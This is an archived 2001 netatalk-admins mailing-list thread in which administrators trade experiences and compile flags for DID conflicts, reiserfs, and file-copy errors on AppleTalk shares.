Sent: Wednesday, 25 July 2001 01:07
To: netatalk-admins@umich.edu
Subject: DID & reiser


Mac Coin wrote:

>we've installed here a system an put a reiser file system on it. It
>seems to me that the reiser system does the file handling somehow
>different. before he had the same DID conflicts, after the reiser
>everythings worked fine (suse 7.1 2.2.4 and netatalk 1.56)

Yes, on a new linux box, suse 7.1 and netatalk 1.56, with reiser file
system there are no DID-conflicts in the logs.

--
Mit freundlichen Grüßen
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Mit am besten lernt man die Menschen kennen, indem man sie beobachtet,
wenn es irgendwo etwas gratis gibt. (A.L.)



From netatalk.administrators-errors@umich.edu  Tue Jul 24 19:08:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA18013
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 19:08:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA11972
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 19:08:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA11953
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 19:08:01 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA11864
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 19:07:58 -0400 (EDT)
Received: (qmail 31837 invoked from network); 25 Jul 2001 19:09:29 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 25 Jul 2001 19:09:29 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: DID & reiser
Date: Wed, 25 Jul 2001 09:07:16 +1000
Message-ID: <000c01c11495$625c3fe0$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <17684277805.20010724174009@mac.com>
Importance: Normal

Hi Jason,

Excellent idea.

I'm actually in the middle of doing something similar myself, having been
too frustrated at seeing the same problems crop up again and again, with no
real answers, and unfortunately lacking the technical skills necessary to
fix.

I've started playing with a netatalk website, the idea being that all of the
problems with various kernels, quark #$%$!@, max os x.xx, and what an earth
the error messages & configuration options actually mean.

There's a very beta site up at:

http://gemini.faredge.com.au/netatalk/

Have a look, if you have ideas / info / whatever write and tell me. If you
don't like it, don't go there. If you have a better idea, then do it - ie.
don't ask me to do it. Given an unlimited amount of time (and a little more
money) i'd set up something funkier such as an faq site / webapp, but since
time <> unlimited it isn't.

I'm more than happy to maintain the site, as long as people who actually
know the answer to some of these questions are forthcoming with information.

Cheers all,

Chris

-----Original Message-----
From: Jason Quigley [mailto:jasonq@mac.com]
Sent: Wednesday, 25 July 2001 01:40
To: netatalk-admins@umich.edu
Subject: Re: DID & reiser


Hi everybody!

This is very interesting.

I once asked if anybody would like me to compile a matrix of OS, FS,
clients and netatalk versions along with number of problems with each
combination, in order to get a good idea of which mixture is best. I
got zero replies, so, can people just send similar experiences to the
one below to the list so we can all benefit?

Cheers,
Jason.

Tuesday, July 24, 2001, 5:06:45 PM, you wrote:

> Mac Coin wrote:

>>we've installed here a system an put a reiser file system on it. It
>>seems to me that the reiser system does the file handling somehow
>>different. before he had the same DID conflicts, after the reiser
>>everythings worked fine (suse 7.1 2.2.4 and netatalk 1.56)

> Yes, on a new linux box, suse 7.1 and netatalk 1.56, with reiser file
> system there are no DID-conflicts in the logs.

> --
> Mit freundlichen Grüßen
> Jürgen Weltzer

> - - - - - - - - - - - - - - - - - - -
> Werbeagentur Weltzer
> Max-Eyth-Straße 8
> 71065 Sindelfingen
> Tel. +49 (0) 70.31.81.32.31
> Fax +49 (0) 70.31.81.16.01
> http://www.w-ww.de/
> - - - - - - - - - - - - - - - - - - -

> Mit am besten lernt man die Menschen kennen, indem man sie beobachtet,
> wenn es irgendwo etwas gratis gibt. (A.L.)



From netatalk.administrators-errors@umich.edu  Tue Jul 24 19:10:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA18163
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 19:10:55 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA28454
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 19:10:42 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA28437
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 19:10:41 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA28369
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 19:10:39 -0400 (EDT)
Received: (qmail 31851 invoked from network); 25 Jul 2001 19:12:24 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 25 Jul 2001 19:12:24 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'Christopher M. Anderson'" <cma@uri.edu>, <netatalk-admins@umich.edu>
Subject: RE: installer not creating /etc/atalk directory
Date: Wed, 25 Jul 2001 09:10:12 +1000
Message-ID: <000d01c11495$cb17ecf0$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <v01550101b7839d605cd0@[131.128.89.102]>
Importance: Normal

You'll need to specify:

--sysconfdir=/etc/atalk --with-config-dir=/etc/atalk

in your config line.

-----Original Message-----
From: Christopher M. Anderson [mailto:cma@uri.edu]
Sent: Wednesday, 25 July 2001 07:51
To: netatalk-admins@umich.edu
Subject: installer not creating /etc/atalk directory


Hi folks,

I've always installed precompiled versions before, and never really been
sure what I did to make them work, but I did get 1.5pre6 to compile on a
clean redhat 6.2 (2.2.14 kernel) install.  But, for some reason, the
install script doesn't create the /etc/atalk directory or move the
appropriate config files there.

I'm using the tar.gz file from sourceforge.  I'd appreciate any suggestions.

Thanks,
Chris




From netatalk.administrators-errors@umich.edu  Tue Jul 24 19:29:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA18842
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 19:29:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA05169
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 19:29:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA05146
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 19:29:38 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA05059
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 19:29:35 -0400 (EDT)
Received: (qmail 31977 invoked from network); 25 Jul 2001 19:31:05 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 25 Jul 2001 19:31:05 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'Mac Conin'" <mconin@euc.de>
Cc: <netatalk-admins@umich.edu>
Subject: RE: DID & trashed files (again)
Date: Wed, 25 Jul 2001 09:28:53 +1000
Message-ID: <001201c11498$675d3230$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <3B5D21B5.9E30D557@euc.de>
Importance: Normal

What config options did you use when you did it? Can you mail the first few
lines from config.status? Netatalk behaves very differently on different
kernels, and with different options selected...

Cheers,

Chris

-----Original Message-----
From: Mac Conin [mailto:mconin@euc.de]
Sent: Tuesday, 24 July 2001 17:20
To: Chris Herrmann
Cc: netatalk-admins@umich.edu
Subject: Re: DID & trashed files (again)


hmm

we've installed here a system an put a reiser file system on it. It
seems to me that the reiser system does the file handling somehow
different. before he had the same DID conflicts, after the reiser
everythings worked fine (suse 7.1 2.2.4 and netatalk 1.56)



Chris Herrmann wrote:
>
> I'm having some serious grief with directories disappearing from appletalk
> shares. A 3G directory disappeared this morning (ouch) so I'm busy
restoring
> it from tape.
>
> is netatalk 1.5pre6, kernel 2.4.2 (RH7.1) over appletalk (not appletalk
over
> tcp/ip). Lots of DID messages appearing in /var/log/messages
>
> -----Original Message-----
> From: Nigel Pegram [mailto:editor.ac@churchesofchrist.org.au]
> Sent: Saturday, 21 July 2001 10:30
> To: netatalk-admins@umich.edu
> Subject: DID & trashed files (again)
>
> Hi,
>
> I am running Netatalk 1.4.99-0.20000927 on an intel 486 box (Debian Linux,
> kernel version 2.2.1) with two Macs connected (running system 8.1. and
8.6).
> Mostly this has been quite reliable, but today we found that a file copy
> caused the Finder to freeze and the files in the netatalk shared folder to
> be trashed (almost all were deleted).
>
> When looking in the syslog I found two error messages which may be
relevant.
> Repeated many times was: afpd: Warning DID conflict ... are these the same
> file. Also in the logs there was an afpd error: afpd-enumerate: stat ...
No
> such file or directory.
>
> Occasionally I have had problems with the G4 (system 8.6) with unexpected
> disconnection from the Appleshare volume. Since the 8.1 machine was
> continuing fine on the same volume, I assume it was a problem with the G4.
> Now I'm not so sure.
>
> I noted the discussion regarding DID conflict at the end of last year in
the
> mailing list archive and wondered if there are any solutions/workarounds.
I
> cannot find an archive of the 2001 list messages (any URLs?).
>
> TIA
> Nigel.

--
--schnippe-di-schnipp--

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------



From netatalk.administrators-errors@umich.edu  Tue Jul 24 19:32:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA18975
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 19:32:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA02555
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 19:32:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA02536
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 19:32:16 -0400 (EDT)
Received: from deca.megatronix.com.au ([203.41.69.67])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA02331
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 19:32:08 -0400 (EDT)
Received: from hecto.megatronix.com.au (IDENT:root@hecto.megatronix.com.au [203.41.69.131])
	by deca.megatronix.com.au (8.9.3/8.9.3) with ESMTP id KAA00552;
	Wed, 25 Jul 2001 10:23:08 +1000
Received: from callisto (hecto-ppp14.megatronix.com.au [203.41.69.208])
	by hecto.megatronix.com.au (8.11.0/8.8.7) with SMTP id f6P0VSp09836;
	Wed, 25 Jul 2001 10:31:28 +1000
From: "Glen Morris" <glen@ausnet.com.au>
To: "Chris Herrmann" <chris@faredge.com.au>
Cc: "Netatalk-Admins@Umich. Edu" <netatalk-admins@umich.edu>
Subject: New netatalk configuration web site
Date: Wed, 25 Jul 2001 09:32:34 +1000
Message-ID: <KBEGKECBDMGLJNPFNJACIENCCCAA.glen@ausnet.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <000c01c11495$625c3fe0$c40e8ec6@faredge.com.au>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Chris

Excellent resource! When you've finished this website I think netatalk users
will be a much happier family!

<snip>
I've started playing with a netatalk website, the idea being that all of the
problems with various kernels, quark #$%$!@, max os x.xx, and what an earth
the error messages & configuration options actually mean.

There's a very beta site up at:

http://gemini.faredge.com.au/netatalk/
</snip>

Glen


From netatalk.administrators-errors@umich.edu  Wed Jul 25 00:08:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA05984
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Jul 2001 00:08:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id AAA06253
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Jul 2001 00:08:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA06238
	for netatalk.administrators-members@umich.edu; Wed, 25 Jul 2001 00:08:31 -0400 (EDT)
Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA06192
	for <netatalk-admins@umich.edu>; Wed, 25 Jul 2001 00:08:29 -0400 (EDT)
Received: from faxserver ([63.34.211.191]) by mta02.mail.mel.aone.net.au
          with ESMTP
          id <20010725040832.LDKV8316.mta02.mail.mel.aone.net.au@faxserver>
          for <netatalk-admins@umich.edu>; Wed, 25 Jul 2001 14:08:32 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15PFvr-0003gK-00
	for <netatalk-admins@umich.edu>; Wed, 25 Jul 2001 14:05:59 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 25 Jul 2001 14:05:57 +1000
Subject: Re: DID & reiser
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: netatalk <netatalk-admins@umich.edu>
Message-ID: <B78482C5.2297%editor.ac@churchesofchrist.org.au>
In-Reply-To: <000b01c11494$18f55090$c40e8ec6@faredge.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Given I installed from an rpm file, is there any way of checking what
switches were used in the compile, e.g. --enable-lastdid? I guess I have the
option of compiling a custom netatalk install, or installing Reiser, I'd
rather know about what switches were enabled first though, to avoid going
down a blind alley.

TIA
Nigel.


> From: "Chris Herrmann" <chris@faredge.com.au>
> Date: Wed, 25 Jul 2001 08:58:03 +1000
> To: <netatalk-admins@umich.edu>
> Subject: RE: DID & reiser
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 24 Jul 2001 19:09:12 -0400 (EDT)
> 
> Interesting, I recompiled last night with --enable-lastdid and haven't seen
> any errors this morning. On a totally seperate note, how have you found
> reiserfs? I've considered playing with it, but didn't mainly because it was
> still beta last time I looked.


From netatalk.administrators-errors@umich.edu  Wed Jul 25 02:47:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA10895
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Jul 2001 02:47:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id CAA05000
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Jul 2001 02:47:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA04977
	for netatalk.administrators-members@umich.edu; Wed, 25 Jul 2001 02:47:08 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA04921
	for <netatalk-admins@umich.edu>; Wed, 25 Jul 2001 02:47:07 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id JAA16488
	for <netatalk-admins@umich.edu>; Wed, 25 Jul 2001 09:47:04 +0300 (EET DST)
Date: Wed, 25 Jul 2001 09:47:04 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: netatalk-admins@umich.edu
Subject: Problems copying from a CD
In-Reply-To: <Pine.A41.4.33.0107240805310.35868-100000@homer33.u.washington.edu>
Message-ID: <Pine.OSF.4.21.0107250939450.31709-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I was trying to recover some of our archives from a backup CD to a
netatalk share. When I try to copy entire folders at once, it hangs after
few secs with a error message:

"Could not copy files since the destination is locked"

The error message isn't probably exactly the accurate, since we use
finnish version of MacOS. It creates the folders but does not copy the
files. The weirdest thing is that when I copy separate files to the
created folder it works fine. I tried to copy the CD to my harddrive
first without any help. Normal files copied from the hd are working fine.

So is it a permission problem or not?)


From netatalk.administrators-errors@umich.edu  Wed Jul 25 03:37:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA12190
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Jul 2001 03:37:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA18725
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Jul 2001 03:37:33 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA18716
	for netatalk.administrators-members@umich.edu; Wed, 25 Jul 2001 03:37:33 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA18680
	for <netatalk-admins@umich.edu>; Wed, 25 Jul 2001 03:37:31 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id JAA17426;
	Wed, 25 Jul 2001 09:35:50 +0200
Message-ID: <3B5E76D9.13A71B22@euc.de>
Date: Wed, 25 Jul 2001 09:35:53 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Chris Herrmann <chris@faredge.com.au>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: DID & trashed files (again)
References: <001201c11498$675d3230$c40e8ec6@faredge.com.au>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA12190

Hey,

we are running netatalk 1.56 on suse 2.2.4 (I guess  but that is IMHO
not the point)
on an ibm netfinity 5100 dual 866MHz 240GB Raid System with NIC'S from
IBM 

All netatalk and samba partitions are running on reiser partitions- and
that is a very stable system. We use it here for our webservers - and
there is not a glitch - systems up approx. 250 to 300 days continiously.
BTW netatalk is also beta as reiser - so whats the heck?


configuration looks like:

AppleVolumes.default
...
/data2/kunden "Kunden"
#  for samba _and_ netatalk - don't mix them
# give samba an extra volume and only a volume to transfer files
/data2/transfer/ "TransferVol" codepage:maccode.iso8859-1

...

afpd.conf
...
"Chicko" -port 12000 -uampath /etc/atalk/uams/ -nlspath /etc/atalk/nls/
-loginmesg "Basta la Pasta"
"Conin"  -port 12001 -defaultvol /etc/atalk/conin/AppleVolumes.default 
-uampath  /etc/atalk/uams/ -nlspath /etc/atalk/nls/
...

you should give any 'server' an ascending port number. We've notices
here that
'no port' causes the mac not to recognize the connection to be switched
from ddp to tcp when a server is selected from the chooser

that's, what we did

configure --enable-suse --with-shadow --with-pam --with-flock-locks --with-uams-path=/etc/atalk/uams


changing to the netatalk directory

chown nobody <directory>
chgrp -R users *
chmod -R 2775 'directory' <- this is also good for samba  :)

starting the daemons

/usr/local/sbin/atalkd

the following is one line
/usr/local/sbin/afpd -f /etc/atalk/AppleVolumes.default -F
/etc/atalk/afpd.conf -s /etc/atalk/AppleVolumes.system -c 200



SAMBA
---------
also chmod 2775
chown nobody
chgrp users


and calling the daemons
nmbd
smbd -s /etc/smb.conf

thats it.

there are some minor bugs as the 'can trash files only directly' and the
refresh time of client directories. printing runs momentararily directly
via tcp-ip



Hope that helps you a little bit further :)

Chris Herrmann wrote:
> 
> What config options did you use when you did it? Can you mail the first few
> lines from config.status? Netatalk behaves very differently on different
> kernels, and with different options selected...
> 
> Cheers,
> 
> Chris
> 
> -----Original Message-----
> From: Mac Conin [mailto:mconin@euc.de]
> Sent: Tuesday, 24 July 2001 17:20
> To: Chris Herrmann
> Cc: netatalk-admins@umich.edu
> Subject: Re: DID & trashed files (again)
> 
> hmm
> 
> we've installed here a system an put a reiser file system on it. It
> seems to me that the reiser system does the file handling somehow
> different. before he had the same DID conflicts, after the reiser
> everythings worked fine (suse 7.1 2.2.4 and netatalk 1.56)
> 
> Chris Herrmann wrote:
> >
> > I'm having some serious grief with directories disappearing from appletalk
> > shares. A 3G directory disappeared this morning (ouch) so I'm busy
> restoring
> > it from tape.
> >
> > is netatalk 1.5pre6, kernel 2.4.2 (RH7.1) over appletalk (not appletalk
> over
> > tcp/ip). Lots of DID messages appearing in /var/log/messages
> >
> > -----Original Message-----
> > From: Nigel Pegram [mailto:editor.ac@churchesofchrist.org.au]
> > Sent: Saturday, 21 July 2001 10:30
> > To: netatalk-admins@umich.edu
> > Subject: DID & trashed files (again)
> >
> > Hi,
> >
> > I am running Netatalk 1.4.99-0.20000927 on an intel 486 box (Debian Linux,
> > kernel version 2.2.1) with two Macs connected (running system 8.1. and
> 8.6).
> > Mostly this has been quite reliable, but today we found that a file copy
> > caused the Finder to freeze and the files in the netatalk shared folder to
> > be trashed (almost all were deleted).
> >
> > When looking in the syslog I found two error messages which may be
> relevant.
> > Repeated many times was: afpd: Warning DID conflict ... are these the same
> > file. Also in the logs there was an afpd error: afpd-enumerate: stat ...
> No
> > such file or directory.
> >
> > Occasionally I have had problems with the G4 (system 8.6) with unexpected
> > disconnection from the Appleshare volume. Since the 8.1 machine was
> > continuing fine on the same volume, I assume it was a problem with the G4.
> > Now I'm not so sure.
> >
> > I noted the discussion regarding DID conflict at the end of last year in
> the
> > mailing list archive and wondered if there are any solutions/workarounds.
> I
> > cannot find an archive of the 2001 list messages (any URLs?).
> >
> > TIA
> > Nigel.

-- 
--schnippe-di-schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Wed Jul 25 03:47:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA12626
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Jul 2001 03:47:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA07875
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Jul 2001 03:47:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA07850
	for netatalk.administrators-members@umich.edu; Wed, 25 Jul 2001 03:47:00 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA07781
	for <netatalk-admins@umich.edu>; Wed, 25 Jul 2001 03:46:59 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id KAA11875;
	Wed, 25 Jul 2001 10:46:49 +0300 (EET DST)
Date: Wed, 25 Jul 2001 10:46:49 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Nigel Pegram <editor.ac@churchesofchrist.org.au>
cc: netatalk-admins@umich.edu
Subject: Re: Problems copying from a CD
In-Reply-To: <B784AFE7.229E%editor.ac@churchesofchrist.org.au>
Message-ID: <Pine.OSF.4.21.0107251041200.32187-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 25 Jul 2001, Nigel Pegram wrote:

> Never tried it myself, but could it be a bit like when copying from a CD to
> a Windows drive, that the files copied all have the read-only bit set? What
> are the permissions on the folder after the error message?

I'm copying from a Mac to a netatalk share. But the problem disappeared 
when I recompiled netatalk with parameters described at Chris Herrmanns
site (http://gemini.faredge.com.au/netatalk/). Previously I used the
precompiled binary for rh 7.1. The only parameter I think that matters is
the --with-flock-locks. If anyone has similar problems, try that.




From netatalk.administrators-errors@umich.edu  Wed Jul 25 21:45:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA16436
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Jul 2001 21:45:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA10910
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Jul 2001 21:45:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA10890
	for netatalk.administrators-members@umich.edu; Wed, 25 Jul 2001 21:45:05 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA10820
	for <netatalk-admins@umich.edu>; Wed, 25 Jul 2001 21:45:02 -0400 (EDT)
Received: (qmail 7178 invoked from network); 26 Jul 2001 21:46:35 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 26 Jul 2001 21:46:35 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'Lasse Lehtinen'" <lasse.lehtinen@iki.fi>, <netatalk-admins@umich.edu>
Subject: RE: Problems copying from a CD
Date: Thu, 26 Jul 2001 11:44:19 +1000
Message-ID: <001b01c11574$7e146520$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <Pine.OSF.4.21.0107250939450.31709-100000@Platon.sgic.fi>
Importance: Normal

when you copy files / directories on a pc from a cd to anywhere, it inherits
the read-only flag. is this the case with macs? if so, it may be preventing
you copying files because the directory is marked read only.


-----Original Message-----
From: Lasse Lehtinen [mailto:blob@sgic.fi]
